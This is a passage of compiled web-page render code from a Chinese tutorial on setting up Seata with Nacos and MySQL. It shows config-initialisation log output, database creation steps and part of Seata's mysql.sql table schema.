operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("\n Complete initialization parameters, total-count:89 , failure-count:0\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("\n Init nacos config finished, please start seata-server.\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("可以看到,整个配置执行成功。")]),s._v(" "),a("p",[s._v("(8)打开Nacos的配置管理-配置列表界面,切换到seata命名空间,可以看到有关Seata的配置都注册到Nacos中了,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-010","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-010.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(9)在MySQL数据库中创建seata数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("create")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("database")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("not")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("exists")]),s._v(" seata"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("接下来,在seata数据库中执行Seata源码包"),a("code",[s._v("seata-1.4.2/script/server/db")]),s._v("目录下的mysql.sql脚本文件,mysql.sql脚本的内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- -------------------------------- The script used when storeMode is 'db' --------------------------------")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- the table to store GlobalSession data")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CREATE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TABLE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("IF")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("EXISTS")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("global_table"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TINYINT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("application_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("32")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_service_group"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("32")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("timeout"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("INT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("begin_time"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("application_data"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_create"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("PRIMARY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("idx_gmt_modified_status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("idx_transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("ENGINE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("InnoDB")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DEFAULT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CHARSET")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" utf8"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- the table to store BranchSession data")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CREATE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TABLE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("IF")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("EXISTS")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_table"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("resource_group_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("32")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("resource_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("256")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_type"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TINYINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("client_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("64")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("application_data"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_create"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("gmt_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DATETIME")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("PRIMARY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("KEY")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("idx_xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("ENGINE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("InnoDB")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("DEFAULT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CHARSET")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" utf8"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("-- the table to store lock data")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("CREATE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("TABLE")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("IF")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("EXISTS")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("lock_table"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("row_key"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("128")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("transaction_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("BIGINT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("NOT")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("resource_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("256")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")]),s._v("table_name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("`")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("VARCHAR")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token 